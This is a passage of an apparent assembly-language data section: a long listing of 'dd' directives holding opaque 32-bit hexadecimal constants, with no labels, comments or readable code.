0CC03AECDh, 0B0E5920Dh dd 1BC1B8F9h, 0B8E35A27h, 0D39002CAh, 0C8A4060Bh, 2ED19F34h dd 0A7B0D5BCh, 61D3BC22h, 2301AC60h, 538ACC1Ch, 981875C0h dd 0DE5652h, 2219F39Ch, 6D784B4Eh, 0F189A60h, 0A38E03h dd 1560905Dh, 85E3971Dh, 6139D40Eh, 944F4033h, 509FE4B9h dd 440A72Fh, 0E6F07B58h, 8FF0C772h, 0A745C962h, 992DBC50h dd 9A7886D3h, 0B82148BAh, 2075A280h, 0DE00D808h, 0E3A67B12h dd 3F3AD0h, 0C5948F2Dh, 2BA1F7C9h, 0DD87B607h, 0B4F12908h dd 808522A2h, 40A71370h, 9D35F894h, 95028896h, 51C122EAh dd 1E888323h, 6DDAC13Ch, 3FF4A030h, 0A62CA940h, 0E6C8AA0h dd 31DE80B4h, 0F0FF2D77h, 3BD9125h, 0B048E9D8h, 98B490CDh dd 0C81400D4h, 0DDED1019h, 1A000A87h, 9033A2F7h, 51AF8AC0h dd 0F8C9E456h, 8C9C34h, 20F1FFDEh, 8911CE88h, 0A0D6C300h dd 0EC18721Ch, 4B6500E1h, 8B22F9EDh, 0B91E5B8Ah, 634073DEh dd 0D70AAF29h, 4C70ECDFh, 0EB084016h, 9D4079C6h, 0E534981h dd 36EA55B8h, 60924B41h, 80DCE902h, 0A2931E0h, 3F1B8105h dd 373EE184h, 0DF857B09h, 20002450h, 21E65CF6h, 0B5A6E0h dd 96D6E28h, 47A80C18h, 431DCB00h, 0A1545F59h, 8FD70BC0h dd 6D00E6FEh, 0B56E99F2h, 4100CA79h, 8B820557h, 3598096h dd 519A896Fh, 0B4C009CBh, 4F028CEEh, 0BCD86986h, 2DA54193h dd 0BC20C2A7h, 35D96E80h, 0E2C67801h, 0AF044F48h, 0E0EB5ADCh dd 0AE8F144Ah, 1B26D3D9h, 51CE80F4h, 9E99117h, 283BD012h dd 0FA10ECE4h, 48292C43h, 24BB0567h, 77F8A0ABh, 0A42E4000h dd 654571B0h, 8F6E003Ah, 0D7EB6B38h, 0B4A0158Dh, 4D00D16Fh dd 4E77D33Bh, 0A0CEE7DBh, 7030179Ch, 16940BB0h, 43806203h dd 0D78A1E3Dh, 9DEEACC5h, 9249B200h, 0EAD669h, 5A30C07h dd 10320E7Ah, 0E090DF25h, 6C1450h, 687FCC50h, 834C9957h dd 0E0852725h, 515C17h, 8F95A421h, 0E2ED33E7h, 19B7D900h dd 86A0C396h, 13A70446h, 0AC52426Fh, 3510048h, 0F4A31C54h dd 876C0026h, 0CA6E08FAh, 2400C294h, 3E19E013h, 18E925h dd 6FAA603Fh, 27F74362h, 0AF04A4B0h, 782B752Fh, 88CE3E0Fh dd 0F298D941h, 8033CC4Bh, 0A1D15A00h, 5999A247h, 0EB640182h dd 816FA0D4h, 7E50303Eh, 42BD3303h, 0AA4B1B98h, 0CD40DF22h dd 0C509787h, 0A2095FB0h, 5A683A1Dh, 70D25894h, 2637FD00h dd 59A3FCECh, 3D07EE1Dh, 0BCA7DE80h, 4C36314h, 66FD50F7h dd 99C8809Ah, 9EB0119Fh, 4E04A27Bh, 200BBBEFh, 0E0B39980h dd 986A0B83h, 4C84D2A6h, 0E198C749h, 7035F7FAh, 0E400F64Ah dd 0F4B17C2Fh, 0CD482Ch, 0DE01FFD7h, 0EC8E4723h, 16D5A3Ch dd 46903D8Bh, 5470E151h, 62530277h, 63BAC238h, 9B036C56h dd 0B023893Dh, 0F15248h, 0F3757EBEh, 6A2895A6h, 0C0C29D0Eh dd 0FFDF631Ah, 0DB818076h, 0D43B2EDEh, 0D0F801A0h, 34613FD3h dd 0FC11ADECh, 3D01C088h, 904C57DCh, 8FD130C1h, 0AD172400h dd 0B4B10231h, 5688A089h, 0FF1C0074h, 6B30A9F3h, 3A0901B2h dd 82E2A485h, 7403E008h, 9180040h, 6584741Eh, 264B8B00h dd 0B30EFFE1h, 921303BCh, 2958F932h, 0E75462E0h, 1B656B00h dd 22C1F25Ch, 7530F263h, 0A0C0FE1Eh, 954AF6h, 8EBF81CAh dd 0A79917B3h, 352DBE01h, 6DD8E194h, 271FBDE4h, 0E400CEF0h dd 60390A59h, 27EA1A00h, 1550FC6Ah, 0E58302A8h, 113173FFh dd 7E40E476h, 553B6BDh, 0D6B723BFh, 1218D114h, 61D360E0h dd 8C0E94A8h, 81712F1Fh, 0A5372042h, 9CA8A08Ah, 0EAC65AD2h dd 7BF3013Bh, 3205A248h, 2F59C90Ch, 0F51EEC00h, 9D94BD9Bh dd 0F139A000h, 954E3F47h, 0D33C11A8h, 87601980h, 30DC3353h dd 9757AE16h, 78839000h, 0F66C282Ah, 0ED5D1934h, 8747189Ah dd 0B6CA987Eh, 0B4817335h, 0A2FCB008h, 0FDBB07D0h, 60F2BEC8h dd 78B27DACh, 730064E6h, 0B6C6E91Ch, 84F8ADh, 0A0D7D454h dd 25EB98A9h, 0E069CA00h, 851BAE3Dh, 22081DB1h, 2E350714h dd 8111B0E3h, 2D02E8C6h, 481ACDABh, 54908071h, 9CC8D7h dd 25941C0Bh, 0EA227512h, 147CAB0Fh, 0A265A081h, 2F3C0D16h dd 0AF54F494h, 928F803Eh, 51FFC3B8h, 606E01D6h, 0E9F44E32h dd 4A90708Ah, 0A318A900h, 10B372E0h, 7F4D3FB2h, 8027919Eh dd 9521CFB8h, 2900C923h, 0E4FCF680h, 0B834Bh, 5618F4E1h dd 0A3224052h, 1A642095h, 954E1769h, 0ADBCA640h, 0EEA21201h dd 833F2A6Ch, 1D53430h, 0CE7A410Fh, 47BE7C0Ah, 3C290D0h dd 19003020h, 9EAAA5EEh, 6C809E3h, 361BF2EFh, 880054CCh dd 4AFB118Fh, 0BA643Eh, 0F912B654h, 2E748C48h, 0F652B713h dd 91C4E0h, 62D1D54Ah, 78ABE495h, 98BF9209h, 4EC0C03Bh dd 0E7280759h, 21FE7655h, 0EC820E1Bh, 0D65B4BF7h, 32AE7C00h dd 38B34320h, 0A28019ABh, 0B1D7A512h, 0B0056A0Ch, 72704176h dd 48FD2CB0h, 2909801Bh, 28D8AEDFh, 4D7D1203h, 1788C1Ah dd 0A17B0310h, 60C95B5Ah, 2B00C85Ah, 872635DFh, 14DBD055h dd 0FC94BAE8h, 0C0156600h, 39AF1A5Ch, 1F01FA72h, 7806E3C4h dd 3BE2EBh, 0FC0EAD4Ch, 0E60054BCh, 250CD7E8h, 3FC632A3h dd 0BE008AB0h, 72BFB2E4h, 0AE2E2F02h, 148BA476h, 1F10E031h dd 0F5A007B9h, 109C123Ah, 90EB46F9h, 3EB48A04h, 0DC94157Dh dd 0C232DA80h, 0E81D6343h, 3BF922CFh, 798050C1h, 25774235h dd 0C8C3093Dh, 0DBE454C0h, 0D0B8962Eh, 0D04FE884h, 0AF30FCA8h dd 0ACA8D721h, 0C002047Dh, 0DB6E9748h, 8B61C377h, 0B6891284h dd 0C21C900Eh, 21005CF1h, 3953E17Bh, 96C7D13h, 249926B1h dd 4700B872h, 3CB07822h, 0F2A3F3h, 54E2907Eh, 0F98A6625h dd 0E126EF2h, 34F06D2Fh, 6FA50131h, 0DB78077Ch, 728028C1h dd 0EA6C7300h, 0AECE85D7h, 62FF09A9h, 40A03650h, 0FD131DC1h dd 402AC8C0h, 0F23ABAE7h, 79910215h, 0D9D5AC0Bh, 0A8994440h dd 0B881C800h, 3F631F98h, 678803D8h, 0BB323476h, 59CA6A8h dd 0A95D2716h, 0AB8D5480h, 0CC593D76h, 96AAF384h, 0BD0DC05Ah dd 0D8F356A2h, 137A19E6h, 45304B60h, 9D40460h, 0DDB5BFAEh dd 0E2E97418h, 0ED3EF0Bh, 0F63C04F9h, 762CAA80h, 90816050h dd 87686CEDh, 0D8C796A0h, 379009C0h, 62771665h, 0C8F629D4h dd 62F7C363h, 8607D2Fh, 0B30162AEh, 0CC8E0D2Eh, 24806AD4h dd 0B866F6EDh, 733FF3E3h dd 0F83180ACh, 65A8E2BAh, 0C3160758h, 0F3A7013Eh, 4F06DF7h dd 15E2CA90h, 576096F0h, 4279B770h, 0E4E85894h, 16C05B00h dd 596EAB64h, 927ADEF6h, 58E60731h, 0F9F42A06h, 60AA0AAEh dd 9E4C583h, 0BC42914Bh, 0A90064F0h, 23435BB2h, 3B77CA5Eh dd 0E10283A3h, 8B4DBF4Eh, 0ADFC0740h, 0A8008C4Eh, 0E43513BDh dd 487E0E76h, 3E401FA8h, 0C4A71505h, 0EC80201h, 0A3B385Fh dd 95D65D4h, 8774D079h, 48307010h, 0E95B9B72h, 9E095002h dd 0B69F407Fh, 0E35E0037h, 0CFD8D1FFh, 0EC910E4Ah, 5E3067CEh dd 0E521FA60h, 0E89A48AEh, 0C9200A3Ch, 52375007h, 3BB03479h dd 6C48E1h, 0D5876E20h, 39D2EB9Ch, 2C6123Ch, 66321EDh dd 0B9604001h, 0CC0D287Fh, 0F9DE7494h, 68F849FEh, 3FFC022Eh dd 68681BC9h, 0E65F30BCh, 2EB9008h, 3F3CAFC4h, 8EF75060h dd 0ECDD3300h, 0E8BCC245h, 0AF1E00F5h, 716FBD65h, 0A5029948h dd 6D262B56h, 270D4ADh, 0D596FA37h, 0EA44B47Eh, 0C20048EDh dd 1D0C591Eh, 0EC92DE29h, 9958AB13h, 0AE07A816h, 0AA608489h dd 0F238B3EDh, 0A31E07DFh, 701ADC81h, 0FC3F89F5h, 271C23F6h dd 7FC0476Fh, 5F425CA5h, 64831873h, 16D4107Dh, 7AF55000h dd 57AB6662h, 84A30267h, 0D7DCBFA4h, 2BB7EEE0h, 7C78FF00h dd 0EDCD0249h, 0DED4FB40h, 62990028h, 0FBA59D64h, 0A0003D04h dd 0BB73D570h, 0A36E05h, 0B336D10Bh, 2E85D98Bh, 4C1F83F0h dd 5D00C74Fh, 9290CB5Ah, 0C17C3E3Eh, 2CF2B001h, 0C453A641h dd 1B7D60BCh, 3062C800h, 0F555D69Eh, 0ACE160ACh, 0FA9B8FFFh dd 4B132E00h, 9FFDC0E8h, 555C0009h, 29C4AFE7h, 0BB00B5DAh dd 0B2549CDFh, 22FC1E2h, 49F40BD0h, 9CA03F8Fh, 0E5D781D6h dd 0CE8C310Ch, 0BA7073h, 6FEA100Fh, 232409B9h, 0FD3E2C18h dd 28BF40h, 4FCE27FFh, 0C8905A31h, 9E193Bh, 9B7742E9h dd 786BF5A2h, 91ED00B4h, 0EFAD237Ch, 3119781Eh, 4179BE9Dh dd 39017C0h, 6721F6A5h, 5698D2ABh, 521FE85Fh, 0C940A29Fh dd 0FE972BD0h, 0B096002Fh, 0AE805403h, 0BC00A1DCh, 4010A625h dd 0B97FD46h, 0EEB9A04Ah, 5519C000h, 6500761Ch, 0F27961CFh dd 0ED5228h, 0D559AF5Dh, 369B90BEh, 0E850A00h, 1A84C5D6h dd 9AFC89h, 0F88819B2h, 67D162C9h, 30931701h, 268A21B4h dd 1970ECCh, 79AAEC47h, 963977C0h, 0A0E82E8h, 0D6E6A0FDh dd 24E4C7AFh, 1E9D3Bh, 0B4625AC5h, 0DC0729B2h, 5D4277BEh dd 1EE885D0h, 0E55002Ch, 0D82FB698h, 0F2007E56h, 37BE9016h dd 7559CFh, 0A89618EFh, 0E2733D05h, 191DE773h, 0D0801404h dd 2E8EF2D6h, 0C2BE1CD1h, 0D262438Fh, 51A2DE53h, 1E013D60h dd 0BCBD9300h, 32A1EDB2h, 9E2C008Fh, 0C191B69Ah, 700CDB3h dd 0A8BB837h, 0E728225h, 0D942F10Ch, 4CD255E0h, 140333C2h dd 3DE7F779h, 0A1A590ECh, 60F00E4h, 9DDDDCDEh, 90008C82h dd 9B1568A7h, 28E2CEB8h, 0E390AAE4h, 220D8h, 2A081DB7h dd 976FF949h, 8400C0FEh, 34352CD6h, 78C77Ah, 87C3CA38h dd 0BFF95FB2h, 4CD8D309h, 0DB1C005Bh, 4DC8EDh, 0AFD2815Ch dd 506C1A64h, 0C991DC00h, 0F4CBC38h, 708074D3h, 615AE010h dd 5FF456D4h, 30C02006h, 2EA17303h, 0B83F49E7h, 5AE866h dd 0F3B9B637h, 55AED129h, 0BB38081Fh, 0E2BFE900h, 78630F5h dd 0F14C7E61h, 849630EDh, 0A2076BF6h, 31CFFAAh, 0C81478D0h dd 5C3D0018h, 761BDE97h, 3001288Bh, 0EAD6C9D0h, 88407770h dd 1290F3h, 0E1A465F4h, 509AE5AFh, 99044B00h, 27F3D4F6h dd 1ECE2424h, 0D6DE0B18h, 1D9C0C8Ah, 0F0FD0F2Ch, 4E8FD740h dd 8A00AA36h, 9364C60Ah, 7470D41h, 0EDB0D060h, 9F9A5083h dd 2C00204Ah, 6EE8E4DCh, 3214D8Ah, 47D1F159h, 248AEA26h dd 0FE091840h, 0F8E4970h, 0A47BB34h, 0E2957E42h, 971DDC48h dd 809FCF00h, 674CD312h, 0CEF400AEh, 0FA966B33h, 560EB717h dd 0A04D45AFh, 0B07AD1CCh, 557E5Ah, 8CCE1980h, 8DB5338Bh dd 32833414h, 80203C98h, 71E144D7h, 1DDFFDB0h, 5D7E1852h dd 5680FC0Ch, 4C365DC8h, 20ED0EA0h, 16011117h, 471A22BEh dd 27F82C19h, 4D4E009Bh, 883A57E7h, 4601932Dh, 2B6EBFB5h dd 69D80E3Bh, 8E45Fh, 0EE4370D6h, 968218D2h, 0EBC958h dd 84311455h, 45E628h, 0D3CA223Ch, 2A601EDh, 1798387Fh dd 2DF7095h, 8C6BE66Eh, 0B8601C70h, 2891C262h, 3CC97500h dd 0B478F0h, 28179D76h, 12D364ADh, 59007976h, 2E982451h dd 0AE264Fh, 335D58A7h, 0BE2D4DEAh, 0E89053Fh, 60B1C79Eh dd 0C0E14B81h, 0AFFA00F3h, 0F96AEBD8h, 53003ED6h, 35641D45h dd 0B8BE07A6h, 59DC8056h, 90DC0F47h, 0D2804D5Fh, 0C41941B2h dd 7732CA04h, 0A5BCA274h, 4A2C3300h, 0E12067C8h, 0E3EBB302h dd 800A1D3Fh, 0D1BDFA8h, 12750AA3h, 0ECBEAFh, 8D418AFDh dd 0AB001610h, 54C1E59Ah, 382943CCh, 0FF813E80h, 2B20CB9Dh dd 6AF1E077h, 0AC19B0Ch, 76071122h, 0AFED0073h, 95E43B8Ah dd 70C0CED1h, 0CF103358h, 669E12FDh, 0D97C4060h, 90A50DF5h dd 179AC201h, 679E0534h, 0FCC71040h, 81B1C70Dh, 87AC0338h dd 417A07FFh, 4329C752h, 0D59F10h, 62B3CD1Ch, 0CC743407h dd 7E51A900h, 0D87F026h, 6A1500E7h, 0B1B3D68h, 1C0044BEh dd 103B5AB1h, 0D23D9h, 0E99DBF4h, 62EBCF2Ch, 59B4A835h dd 1A009A12h, 103DFEB1h, 43691485h, 620EB02Fh, 204340Bh dd 271E0530h, 0E34848h, 6AD29414h, 0C8C0CAA5h, 48EB81A6h dd 380600C6h, 0DCD4B99h, 5B006482h, 0E2524AA8h, 3D1B0B43h dd 6B07E46Ah, 0F4C1DDh, 0A56D36E7h, 56617190h, 0E4A78B18h dd 0F8266A20h, 0C9471EFh, 5E346543h, 3186E20h, 0A590E061h dd 30A6FCEEh, 0A930DE1Bh, 7404B976h, 0B67A624Dh, 0C418CAC6h dd 293740h, 64CF8B79h, 66183C0Eh, 83BF8D0Fh, 0CE4C0690h dd 7AF95982h, 63A802D9h, 2F85256h, 5C85D0A3h, 4DF42118h dd 60154389h, 21905130h, 0D73038AAh, 7DB7D161h, 26A5039Ah dd 33A7CF59h, 0CDEE410Fh, 0E02DA3C5h, 487CD8h, 0B50D395Fh dd 0A57DAC64h, 25430A1Fh, 34245C01h, 1CC1B188h, 71096098h dd 0AC007D96h, 45B4F5A8h, 0EE5E69h, 3C21E684h, 0C39B1EC9h dd 1F0043F8h, 5BC6A16Bh, 50FCBA91h, 264CC15h, 712523C4h dd 0D640E546h, 0FE736950h, 68004F77h, 633449C2h, 2C7072CDh dd 761D56Bh, 20269182h, 4707E2CBh, 50D28C07h, 0A7515890h dd 0EBC4456Bh, 335C1C3Bh, 2F7C06Dh, 0F863E053h, 986959h dd 77DB661Dh, 60E9A9h, 0CC049571h, 80B8E4BDh, 8FA0EC4Bh dd 32CE6AAh, 0C2BBB42Dh, 7EFA5F59h, 494A0AFh, 0DAA70AFAh dd 0D94F452h, 0AF260FC6h, 7C02B247h, 80CE2577h, 5EC3A7C0h dd 3790CD1h, 432975E5h, 0CD712284h, 440808F3h, 0DC442F7Ch dd 0DBEB44E0h, 0BFF84D89h, 0B19E2C93h, 7D57005Bh, 27BB83B7h dd 6D940800h, 4189B573h, 5C76001Fh, 5C4E8EFh, 827BBE45h dd 0BDFB0200h, 0D9A82E1Ch, 26220088h, 5E7A1467h, 0DC00537Fh dd 5156DFFCh, 7E3EF0h, 0ECD03AC0h, 0D817B937h, 184FCA00h dd 7560E8DEh, 1D040A43h, 0F16110h, 0F2EA08AFh, 0DE009FEBh dd 0B3442AD8h, 462736h, 37EF7D5Eh, 82ACDBEDh, 420F3F1Eh dd 1318051Eh, 0DAF469h, 11E6CE6Ch, 0B8E0A850h, 4459DF00h dd 0C07D6792h, 3ED0120h, 5B04F2FAh, 0F551F4C8h, 3AF45900h dd 0E9FBFD66h, 0D9420EAh dd 92B8C706h, 5E0076Fh, 0DA29648Eh, 0D143C075h, 1907F5ACh dd 0CF2D5F0h, 2B22C0CFh, 6DB01Ch, 0A19C5505h, 0C013ADAEh dd 0D300EF7Eh, 5FED5D4Fh, 0E5DF44h, 77C9099Ch, 0BAB9F721h dd 8017B43Eh, 2B99D167h, 601F9Dh, 87225BF3h, 0D32C91Dh dd 9EA0B00h, 749AB514h, 979600F5h, 9F7F2127h, 3209F606h dd 0F8406899h, 0DF031E2Eh, 8A43006Fh, 14D935BCh, 2A103600h dd 0B1F69C2Dh, 1FBAFE1Eh, 80F7D396h, 56D2AA50h, 0A00AD48h dd 5365979h, 7A1EC5h, 16DDC1B7h, 3DED6A02h, 0C2279E03h dd 0A8333909h, 5C6C542Ah, 0B8008A97h, 0B471C8DAh, 4C0A5E07h dd 0A8388D53h, 32DD4403h, 75C8C8DCh, 3B97E0A9h, 2338D5DEh dd 2D8B9580h, 8618114Dh, 8500B3F2h, 0ED50D44Ch, 0B57116h dd 59FA8DBBh, 0A2BCE755h, 27E0CE4Eh, 5D6D00EBh, 0A0797DD9h dd 0AB3ED557h, 2E00F81Eh, 0D40FE273h, 666DE7h, 0D69E312h dd 54DCF1CBh, 0C93938h, 0E2B04341h, 2A05C5h, 0FF6F4A37h dd 53FA44B2h, 0B5979800h, 43FDC7B1h, 156A0160h, 2F063CC4h dd 2E45E031h, 5F2A6F00h, 6E1D3DEAh, 0E202004Ch, 0B7E66661h dd 0EF009BB4h, 5234CAF9h, 773D426h, 68482088h, 0A9F1E0D6h dd 0AB24C17Ah, 0DC009CE0h, 862A01CBh, 0F44F0088h, 320994B2h dd 42007EFEh, 0FCDDDEBh, 0CA2C5Ch, 0E36E58D7h, 4B3DB9A1h dd 5B006B72h, 80C641FEh, 848B32h, 3127FCBh, 0E6CFE1DBh dd 4201C492h, 9F3BCABDh, 0D055801Fh, 0F84EB380h, 956C001Bh dd 0DAD067F5h, 550004E5h, 48DF897Fh, 0CFC24Fh, 32741FC5h dd 2D34B546h, 0BC9B5017h, 100003ECh, 0D41B2C53h, 917D462Fh dd 0F4008577h, 4B0E8B26h, 78C4ACFh, 302B3C7Eh, 0BB4CBEC3h dd 3E00219Eh, 86FAC787h, 73B8DFDEh, 0A3F005Eh, 0CAC9D5E8h dd 2A1CF281h, 0CBC00745h, 487A9237h, 0B7892B8h, 0D727E4ABh dd 0BDE36C00h, 0F0F7C98h, 0A32B635Fh, 8036791Eh, 3A46F2h dd 0A2175DCEh, 0BAE18E9Bh, 1C4AE200h, 0D99D8D29h, 693004E3h dd 80EDC9F0h, 2FA7B578h, 26AF018Ch, 0A8980BF7h, 1C7D09Ah dd 7B8ECE00h, 612E6AEAh, 97F028F9h, 0C8472ACh, 4B31E098h dd 0F400E6A8h, 201E7327h, 9ABA29D1h, 81700838h, 3BB95AA5h dd 3AEC0196h, 8F4EEA47h, 7FFFF8h, 56584160h, 0C762EDA1h dd 9636F104h, 0A9C0C6C8h, 1C338h, 0D63F55A6h, 3CD84A8Dh dd 0AB099879h, 10E606h, 1FE5F896h, 0CE8F00EDh, 0CB18DA15h dd 0D900B66Eh, 0F73BE42Ah, 0B21D37h, 2CC7106h, 0CFB9A9F6h dd 9E4C2206h, 41E0EABh, 8F4A6E5Eh, 0C85C83E2h, 893EF800h dd 5788EA74h, 0F7EA42h, 6E0D78B1h, 0F17A44E2h, 839E2F1Fh dd 0CE688A40h, 6A935h, 0D277A7D7h, 3D4CE272h, 6724927Eh dd 0B5845C8Eh, 702C93E3h, 0EC2A3F40h, 777E5Dh, 235FC0E3h dd 0F5617EE0h, 72C46900h, 1D71C30Bh, 0C9900C2h, 0DDE5AB8Ah dd 0E700C9E1h, 0DB3F5711h, 73937BFh, 0F7F284EBh, 2F080C2h dd 9C3CB7B6h, 0E4FE260Ah, 764D4400h, 3D33F9Fh, 5CECBA58h dd 88E13156h, 0E4A8D864h, 6BDFB502h, 0C44BAAC2h, 5E510080h dd 0E5A51158h, 7F00B267h, 0DACD7472h, 0E25AFh, 8A1BC8C9h dd 0E047CAFEh, 5E53B000h, 52147EECh, 1E3000FFh, 0D684B4F2h dd 0F139926Bh, 0F2580DAh, 89343FCFh, 28838AEh, 40E8689Dh dd 0D55E0863h, 0B00ECE1h, 70D89B12h, 571ACEh, 0FB07DFF5h dd 43E56F42h, 9EE49A00h, 0AD97DA04h, 0B079003Ch, 9DEC0125h dd 94002E27h, 0DA5615E3h, 3CD2F21h, 0A31ED8F9h, 0C1D0244Bh dd 0B20396E4h, 996C613Ch, 2503D869h, 5DFE89h, 7F128CBDh dd 2E0748E3h, 7DCA342Ch, 0D5D3B200h, 75B68EAh, 0F2B7CDEDh dd 0DF3E9073h, 0CF03F87Eh, 996B80BFh, 8228A9FEh, 0BA000873h dd 23B5B2Dh, 5E505010h, 430016C0h, 0A451E6DEh, 901FE92Bh dd 4001591Ch, 911EA30h, 620050A6h, 4FFF3F13h, 115AC11h dd 1C69530Bh, 9410573Ah, 0A7D828h, 55843B20h, 0C0CF5A61h dd 92DEEF7Ch, 5000FEECh, 0FFC6F8F5h, 2EB88671h, 809C8498h dd 3CFA08A9h, 0BBF60663h, 0F5839300h, 177A6E3Fh, 7F18786Ah dd 3ACD0E94h, 7D4066E2h, 0FA0D80F8h, 0D59FBA00h, 0DD26721Eh dd 3F8B147Fh, 5603D8CDh, 9E0A11BFh, 0D093D4D8h, 87C2609Fh dd 15530F97h, 0E1A09828h, 0A59C5EFDh, 731BE800h, 9BE2BD2Fh dd 0E7D179Eh, 0BC604066h, 3B2E7CD5h, 0A34684Ch, 0B05E95B2h dd 0ABBF8349h, 0D7E6E0A4h, 7F380378h, 76904B3Ah, 8A200398h dd 0BF8951Fh, 503835Fh, 0C8A799FEh, 7DA1429h, 9B885387h dd 9860C067h, 4E3F4A10h, 7F9A01F1h, 3BE102C3h, 38718BDCh dd 3400A1B6h, 0D96E8CAEh, 0A2007836h, 7A06C7EAh, 0ECF4211Ah dd 0BA0A005Dh, 5894C454h, 751FB6E4h, 0F0004E8Dh, 0C96FA053h dd 795E008Bh, 0FFBCAC28h, 0AA074AE7h, 0DE5CBDC4h, 1944D1B0h dd 2438FA5Ah, 9CF96Ah, 0D6E94E32h, 0A1267F71h, 0DF1ECC5Eh dd 9EC36600h, 0EC0822h, 1FBE2A9Ah, 697589AAh, 0AC47A92Ch dd 0D0709300h, 9DA9B36h, 85908BBBh, 2C965C81h, 0CC11ACBAh dd 9F40821Ch, 418ECB7Fh, 544AE08Dh, 6034E855h, 745108D9h dd 2C1D2AE3h, 461DEC8Dh, 97D60205h, 17E1003h, 0C9A10145h dd 0CFACB985h, 0D073D17Dh, 22507E76h, 9E54D710h, 0E28CEB2Ch dd 6FFC3D1Ah, 65D77981h, 0C0BE19B9h, 0A8F0A72Ch, 0C88EB600h dd 636926F2h, 0C3760755h, 43D9D52Ah, 79882E4Ah, 0E00329CDh dd 2158D01Eh, 8C1803C2h, 0F8D85EA3h, 0BC6D6E90h, 6431AC01h dd 95D7ABB9h, 931C4840h, 7E2F142Ah, 0EF005823h, 31D1F164h dd 471EEE13h, 0DDC028CBh, 0FF1C8C45h, 4DC9000Dh, 80D225C4h dd 0C80095BDh, 0C5889415h, 3DA1501Bh, 0BA6082EEh, 99E6B339h dd 0F7AD3C00h, 797D304Ah, 509FECFEh, 0BA9DF8h, 7A0D175Fh dd 0E0B65942h, 2245CF00h, 0F013D9Ch, 80D500A9h, 7C897B39h dd 0A7744F06h, 7EA5C60Ah, 0F487DC88h, 0BA40B1C4h, 389C2Eh dd 72B4EF97h, 8768D13Bh, 0D525E306h, 2314CC1h, 63F675EBh dd 0B48233C4h, 1460669Bh, 203F7E52h, 0DFF40E14h, 9CC0D26Eh dd 54F9952Fh, 0FC649094h, 8C73F98h, 7F21B381h, 0DC044469h dd 0CD005D8Bh, 7602640Bh, 0B0B7AED7h, 4EA306B7h, 814AC0CEh dd 9D46F139h, 809E067Dh, 1F7E9C40h, 71D8A039h, 1EC13CD7h dd 1666340Fh, 0F502D414h, 0E7C0F3E5h, 1CEE7D60h, 3D0075B0h dd 3C6EF775h, 1CD7977Ah, 0BF30D92h, 0D95C2570h, 405A4B00h dd 31ADFED2h, 708185EFh, 47B0FBA5h, 0EB003C18h, 15A2C752h dd 3543E2Bh, 0AA31AB05h, 0F8904375h, 1C00CF24h, 0BED7329Ah dd 4A2FFECh, 9FD60B4Ch, 0C2490FEh, 5260E764h, 168FDC60h dd 0B84660C9h, 0CF53E078h, 3289C601h, 0CB4044EEh, 16518980h dd 1CA1316Eh, 0B268731Fh, 0F8F259C0h, 0E9042BFh, 55DF18FFh dd 0B069A380h, 0DC3B03AEh, 0FA578666h, 8F11E6E5h, 56BF6104h dd 6E1080D0h, 0CFAE6048h, 6F180084h, 0B18D03B3h, 0B2004F59h dd 0D6FDECBFh, 64E36DC1h, 47142962h, 8A804B25h, 0D5A61Dh dd 0C7930A10h, 0FE591462h, 9AD93107h, 7A08CB9h, 7E9F77h dd 49C9838Fh, 6FBC6B61h, 4F452A03h, 0C0E7DE48h, 65F363h dd 57D1C251h, 7FD8950Ah, 147E2C26h, 0D6F2D900h, 2C73F01Ch dd 7CE929Ch, 2075D587h, 57F69DABh, 4C856D0Ch, 0D3307Fh dd 16241254h, 0EEF7AB40h, 0E532F800h, 4DA2202Eh, 0C788A8A9h dd 53424ACh, 0ADF800A3h dd 0DFDEEA9Bh, 0DC263300h, 863FB912h, 0FFBA1CC8h, 801BC027h dd 0E80D4B7Fh, 5A482C00h, 0BB34DB7h, 8AC3005Bh, 429F3239h dd 7C0006E6h, 0A5D865A0h, 30030728h, 1811AF0Ch, 1473F8F7h dd 6E002070h, 0F0CCD2E9h, 0A3B0D9h, 9A11E267h, 0C2F25DBDh dd 69543403h, 98ABF4FFh, 5C35B5FEh, 680017DFh, 63DC464Ch dd 210EC081h, 20D3EB0Ch, 6EC47A37h, 75360042h, 1112C9E7h dd 0E000553Bh, 3E5170Fh, 0F0EB4Ch, 6C47BCF3h, 0E7332C87h dd 4EB44B07h, 35D0F89Dh, 1C6DC5A9h, 803F1718h, 62F0A36Eh dd 34030A47h, 58E60514h, 9C87F0E8h, 4FED2803h, 0F73118E0h dd 0E7D25661h, 0FBB889FAh, 5958BF00h, 878C769Dh, 0A78D00A3h dd 92D87119h, 0F4003F63h, 0E0B949E6h, 0DCADB6h, 0EFDA3D0Ah dd 1ED8A37h, 1ED0091Dh, 0A50DF902h, 8CE080E5h, 9776B7h dd 0B96C035Bh, 7FAEAF74h, 1CE23339h, 0AC41A58Dh, 0EBBF9D5h dd 58005022h, 2406BAFFh, 0FA0095B9h, 18DBB863h, 74016927h dd 31F8BD2Fh, 0F7E41650h, 0A2A51400h, 7BF7453h, 0DD390F2Ch dd 465F4A5Eh, 0B8E7DFEDh, 44CC5900h, 8371C91Bh, 0A8410165h dd 3220EA94h, 268C4064h, 5600F3A6h, 0EF73F70Eh, 482C9FA2h dd 950B44D4h, 4B00D991h, 1B1D0B60h, 8B4B350Eh, 8AB40045h dd 166F80Eh, 0E4D333F6h, 0CC506F87h, 62035772h, 38E08B5Ah dd 2BBDF0ABh, 0F0AE243Bh, 9DD5007Ch, 1970F664h, 8853B780h dd 0D0A449BDh, 42C658h, 8D2193BFh, 694A041h, 0F2B70E44h dd 990748F4h, 4AD59575h, 0B0D3E260h, 1C4726DFh, 3DFD00ADh dd 0A17B5010h, 0DC002C90h, 9992B91Dh, 26218D9Eh, 0F76184h dd 35A649D2h, 0A8040624h, 37501A2Fh, 0ED7DC880h, 9BFE006Ch dd 0C5D2695h, 0F8007928h, 0EC52DEB1h, 582D73h, 0E033FE7Ah dd 530BE787h, 9E0A1C3Dh, 0CF404FB5h, 0BFA3399Bh, 0E30139DCh dd 68D59400h, 0B083C636h, 224CBCF8h, 37DA0057h, 1F03A4CCh dd 4AD200ADh, 939843E1h, 0CA1DB28Dh, 0E7C552ABh, 9400D5F3h dd 1CE4EE2Eh, 0A2E90080h, 7C26C6B4h, 0AF5E68F4h, 89009085h dd 0CA190E1Eh, 8CC90060h, 0C79F91D6h, 0E60033DCh, 929E8B87h dd 0F47BC8h, 4895F3FDh, 7EBA13B9h, 0EBF93000h, 75C19327h dd 907224CBh, 0D7A58B04h, 9C40F180h, 0CD0788D3h, 8C15FBC2h dd 95891E40h, 5BEA3AA4h, 0B2BFA200h, 734ECA64h, 0D8B61A0Fh dd 0E5282070h, 128239AEh, 0FF2B90Ah, 1940ACF0h, 4037A927h dd 15B4BD00h, 